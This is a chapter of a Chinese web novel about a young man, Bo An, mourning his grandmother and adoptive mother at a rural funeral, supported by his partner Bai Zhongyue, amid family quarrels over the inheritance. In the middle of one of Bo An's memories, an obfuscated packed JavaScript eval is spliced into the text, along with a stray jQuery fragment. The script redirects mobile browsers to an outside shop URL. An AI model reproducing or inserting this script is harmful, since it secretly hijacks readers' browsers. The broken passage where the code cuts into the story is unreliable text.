天际浓黑渐淡，烧纸的灰烬随着火舌与风飘动，半刻未歇的哭灵声自院内延至街边。
柏安满身麻孝去迎回因怕冲撞奶奶而暂停宗祠的妈妈的木棺，进门时脚下一绊，将将摔倒时被一双有力的手扶稳了。
“白仲钺……”
“嗯，”无数话哽在喉口，却没一字合宜，没一句有用，白仲钺定定看着憔悴的柏安，只说，“我就在后面。”
白仲钺胳膊上系着白布，联系了学校给柏安请假，让司机到镇上去自己找地方歇，柏安周边人少时就离他近些，人多时就站得远点，但一直没错开过视线。
他只见过柏安的奶奶和妈妈一次，就难以接受她们忽然离世的事实，何况是柏安。
何况是，柏安。
随着时间推移，院里人越聚越多，灵堂、棚子、茶水、桌椅……每个人都忙碌，每个过来的人都要到灵前留几声哭喊，但白仲钺感受到的所有悲恸，都源自跪在火盆旁不声不响的柏安。
“来人丧钱才多少？你答应出钱办我没答应！他自己妈凭啥咱们出？照理你娘丧事也得一家一半摊！”
“他婶子，你这话说得可不对，怎么不说他奶留下的东西田地也一家一半？”
女人一挥手，唾沫直往旁边人脸上喷：“你掺和什么？他家死绝了凭啥分给？”
“行了！”柏汉山在地上敲敲烟杆，站起来，“我应了娘给办，就办，你愿意干就干，不愿意就回家去，别在这闹。”
“你个蠢出天的！干做傻子！不知道谁是为你好！我——”
“婶子，”柏安不知道什么时候站在了旁边，毫无血色的脸被披着的白孝服衬得愈发惨白，他静站着，声量平平，却让一遭吵闹渐次消弭，“前天晚上我妈出事，奶奶进医院，没人告诉我。”
“那、那是忙着照看你奶！死人能比活人要紧了？”
“医院不留奶奶，昨天送回来，一整天时间，奶奶念着我名字。有人问起，你说自己一早就给我打过电话，说我有事没赶上车，当天回不来。”
“我早上给你打没通！我那是怕你赶不上车随口一说！你自己没接着怨谁？”
“就为了钱……”柏安喃喃自语，忽然苦笑出声，一时无话。
“指不定是信号不好！这谁说得准？再说了，我把你妈撞死的吗？啊？”
长这么大柏安第一次觉得恨谁，情绪在兀自理直气壮的嘴脸面前破闸而出：“就为了钱不想让我见奶奶最后一面？就为了钱我妈死都不告诉我！你凭什么？你们凭什么！！”
周遭鄙夷的眼光和议论戳了女人痛脚，她扬着手就冲着柏安去：“你个野种还真把自己当柏家人！你——”
高举的手被生生截断，白仲钺挡在柏安面前攥住那只胳膊：“有话说话，劝你别动手。”
白仲钺的个子和手劲太有压制力，女人仰视几秒讪讪退后两步，忽然又觉得丢人要挽尊似的推了柏汉山一把：“你是死的啊！别人要打你家的你都不管！”
“行了，”柏汉山闭眼又睁开，“办丧才花多少，娘留给咱们的东西够多了，里边还有大哥的，按理我都分不到一半……”
“你哥死了！咱家养柏安养二十年还得倒贴吗！你哥就你一个亲兄弟你娘就你一个活儿子！你娘的你哥的他们死了就该都是咱们的！”
“够了！”那一巴掌打出去柏汉山才反应过来自己干了什么，他唯喏了一辈子，懦弱了一辈子，哪怕遇见不赞同的也习惯了自己捧抷土盖好，居然到亲娘走了才醒过几分神挺起半截腰，“够了……柏安长这么大不是咱们养的，没一粒米是吃咱们的，吵吵算计一辈子了，让我娘安生去行不行？”
“你打我？你他娘的吃错药了敢打我！”
“我今天把话放这儿，让我娘我嫂子安安生生走，咱们关起门来什么都好说，你再咋呼一句，咱们就分开过！我看你能拿着多少！”
“你……柏汉山你真有本事！”
灵前唱家丑，能让人背里说道几年的闹剧。
柏汉山看着自己顺了一辈子的人跑出去，看着一张张熟脸露出尴尬或不忿、惊异或看戏的表情，站了会儿，最后硬是扯出笑来：“让大家伙儿见笑了，都喝茶歇歇，晚点我娘跟我嫂子出丧还得大伙儿受累。”
太阳再高些，柏汉山到柏安跟前去：“你是儿孙，得跪迎人，等会儿有人端纸扎物件来，院里的人也有些回去再来，你得挨个磕头，这是替你妈你奶奶拜。”
“我知道，”柏安以前见过，垂眼答应，“丧事怎么办我不懂，一切麻烦叔费心了。”
柏汉山一下没能说出话。他是亲儿子，眼前这个外头捡来的人，却比他更像亲儿孙。他抬手拂掉柏安肩上的纸灰，哑声说：“你叔婶吃了几十年的饭，还没晨晨懂事，叔……对不住你。”
“哥……”柏晨见自己爸爸和柏安说了话，没起冲突才敢上前来，“哥，我替我妈向你道歉，对不起。”
柏安摇头，还是说：“不用。”
“哥，去那边喝点水吧，你嘴都裂了。”
“谢谢，”柏安由衷说，“谢谢你打电话给我。”
“我早些时候不知道，”柏晨又哭出来，“是我妈不好……”
“你进屋里吧，我该去迎人了。”
原来跪迎，是来一个人，就跪一次，磕一个头。
柏安身后不能站人，白仲钺只能在侧边远处，看柏安一次次直直跪到地上，一次次磕头，一次次听来人说“节哀”。
水泥地，柏安腿上一条裤子一件孝服，只有薄薄两层布。
白仲钺站在那里，心随着膝盖撞地的声音不断抽紧，牙关咬到酸疼。
“我哩闺女哟——我苦命哩闺女——”
隔一会儿就会有人哭唱着进来，白仲钺没察觉异样，看见进门的老人朝柏安扑过去时已经来不及了。
“都是你个丧门星——！”
老人的手干了几十年农活，满是老茧裂口，又厚又硬，裂开的口子刮在脸上像数柄小刀，竟然把柏安眼皮侧脸划出了血。
“要不是你，连玉不能守这些年活寡啊！为了你个捡的，搭了这辈子！搭了命啊！”
白仲钺没办法和老人动手，只能把柏安护在怀里，好在有人上前来把老人拉扶住。
“是不是疼？”白仲钺声音都抖了，眼和柏安脸上的血一样红，“不跪了，我们不跪了……”
“连滴眼泪都没见着……妹子真是傻透了气儿……谁是舅，我妹子不是他妈……”
柏安被打时被抱住时一直没反应，杂乱里听见这两句才嘶声反抗起来：“我妈不傻！她就是我妈！”
“我苦命哩闺女哟——叫我白发人送黑发人啊——”老人被儿子扶着往里走，到棺边哭得站不住，到最后跌坐下去拍着地哭，“这么些年啊，你总算没养个白眼狼……闺女啊——也不值当啊——娘这些年给你找了多少好人家啊，我哩闺女哟——”
柏安脸上的血好一会儿才擦干，没有创可贴，破皮的两处就露着，能看到混着血丝的肉。
白仲钺什么都不想管了，他手臂抄过柏安膝弯，又被按住。
“我要跪，”柏安挪开白仲钺的手，“我要好好送奶奶和妈出丧。”
柏安一直在跪，从家里起起跪跪无数次，又几步一跪跪到下葬。
从嘈杂喧闹跪到人散声消，从日光大亮跪到月上树梢。
白仲钺扶住柏安摇晃的身子：“我们回去了，好不好？”
“奶奶说，我是她捡来的。”
白仲钺白天时在你来我往的话里知道大概，轻轻应了一声。
“一二年级的时候，钱比现在值钱，几块钱也要算着花。我爸给人盖房子抗沙袋，有活干的时候一天赚四十块。”
“村里有个小孩老来我家写作业，他带着新买的铅笔盒，特别大，有专门放橡皮尺子的格子，有钢珠迷宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602041|202037||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，里边还印着乘法表，正反两面都能用。我羡慕死了，有时候趁那个小孩去厕所就偷偷摸两下。”
“我爸看见了，问我想不想要，我说不想。可没几天，一个小考试，他买回来一个比那个小孩还好的铅笔盒，说奖励我的。那个铅笔盒的转笔刀带折叠手柄，有抽拉暗盒，还有米老鼠的夜光灯，四十七块。”
白仲钺半跪在柏安身边，手臂在后边扶住肩背，安静听他说。
“我小时候身体特别差，经常发烧感冒，一吃药嘴里就发苦，再小点的时候吃下去的药都能苦得吐出来，只能打针。”
“有一次夜里发烧，下雨，我吃不下药，我爸不在家，诊所不开门。我妈背着我去大夫家里叫门，赔着不是带我打针。家里就一件雨衣，她把我裹得严严实实的，自己只戴了个帽子，我退烧的时候，她烧得走不成路。”
“初中毕业的时候我爸去世没多久，家里拮据，我想去县城当小工赚钱，我妈说我考的高中好，不专心学习以后会跟不上，卖粮食给我报了补习班。”
“高中毕业不用补习了，很多同学去厂里干暑假工，我也想去赚学费，妈和奶奶还是不让，说等大学毕业了工作的日子还长，说我上学辛苦，要我好好玩。”
“村里考上大学的人，只有我买了笔记本电脑。很多人觉得男孩养得糙点无所谓，但我从小到大的衣服、鞋子、书包，都是所有小孩里最干净的。”
“我每年冬天的棉袄、棉裤、棉鞋，都是奶奶做的，衣服破了也是奶奶补的。过年串门，她在人家屋里碰着没见过的糖，就拿一块放在口袋里回来给我尝。”
“我出去上学，家里来人带的点心她舍不得吃，放在橱子里等我回来开。一直到现在，她有时间就给我纳鞋垫，怕我以后不够用。”
“你说，我怎么会是捡来的呢？”
“奶奶让我找亲生爸妈，可是，我从小到大只有一个爸一个妈，他们就是我亲爸妈啊……”
“我没有爸，没有妈，没有奶奶了。”
几座旧冢新坟挨在一起，只剩下跪着的柏安自己。
白仲钺干咽几下，不知道该说什么。
他想说“还有我”，可这话薄弱又无力，他替代不了任何一个人的分量，减轻不了任何一个人离世带来的痛楚。
可他除了这句，没有任何话能说。
“节哀”是浮于表面的礼节客套，“别难过”是谁都做不到的空话，到最后，他能说的还是只有这句。
“还有我。”
柏安指尖碰了碰炉里松松堆砌的香灰，收回手时碰到炉壁边沿，像又碰了一次奶奶的耳环。
“奶奶走前，我和她说，你会照顾我，会对我好一辈子，让她放心。”
白仲钺撤开一点距离，跪正，举起右手：“我白仲钺发誓，一定好好照顾柏安，照顾他一辈子，对他好一辈子，爷爷奶奶，叔叔阿姨，你们放心。”
柏安眼睛干得厉害，眨眼时能听见“吧嗒”声，他看着地上随着白仲钺磕头晃动的浅影，忽然想知道，去世的人能不能听见坟前的话。
如果听得见，是不是能放心了？
“我们回去好不好？我刚保证过要照顾你，别让我食言，嗯？”
没有灯，月光浅淡，手机电筒照出方寸亮处，白仲钺走在前面牵着柏安，走出小段，拐弯时柏安冷不防膝弯一软跌了下去。
饶是这块只有半米高白仲钺也惊出来一身冷汗，之后任柏安怎么不同意都把人弄上了背。
树叶被风扫出“沙沙”声响，草丛里不时传出虫鸣，柏安听着脚步声和呼吸声，埋在白仲钺颈间闭上眼睛。
“白仲钺。”
“在这儿。”
“白仲钺……”
白仲钺把柏安向上托了托：“在这儿。”
良久无言。
直到山路走完，月亮偏移，闷闷的声音才又响起。
“我好难受……”